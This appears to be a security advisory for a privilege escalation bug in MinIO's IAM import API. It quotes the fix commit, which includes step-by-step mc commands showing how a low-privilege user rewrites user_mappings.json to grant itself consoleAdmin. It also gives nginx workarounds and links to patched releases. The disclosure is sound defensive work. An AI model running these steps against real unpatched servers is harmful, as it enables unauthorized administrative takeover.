  "details": "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate:   Wed Dec 11 18:09:40 2024 -0800\n\n    fix: Privilege escalation in IAM import API (#20756)\n    \n    This API had missing permissions checking, allowing a user to change\n    their policy mapping by:\n    \n    1. Craft iam-info.zip file: Update own user permission in\n    user_mappings.json\n    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n    \n    Here `nobody` can be a user with pretty much any kind of permission (but\n    not anonymous) and this ends up working.\n    \n    Some more detailed steps - start from a fresh setup:\n    \n    ```\n    ./minio server /tmp/d{1...4} \u0026\n    mc alias set myminio http://localhost:9000 minioadmin minioadmin\n    mc admin user add myminio nobody nobody123\n    mc admin policy attach myminio readwrite nobody nobody123\n    mc alias set nobody http://localhost:9000 nobody nobody123\n    \n    mc admin cluster iam export myminio\n    mkdir /tmp/x \u0026\u0026 mv myminio-iam-info.zip /tmp/x\n    cd /tmp/x\n    unzip myminio-iam-info.zip\n    echo \u0027{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}\u0027 \u003e \\\n          iam-assets/user_mappings.json\n    zip -r myminio-iam-info-updated.zip iam-assets/\n    \n    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n    mc admin service restart nobody\n    ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately if you don\u0027t run MinIO behind a load balancer.\n\nBehind a load balancer / firewall such as `nginx` . \n\n```\nlocation /minio/admin/v2/import-iam {\n...\n}\n```\n\n```\nlocation /minio/admin/v3/import-iam-v2 {\n...\n```\n\nFollowing locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n",
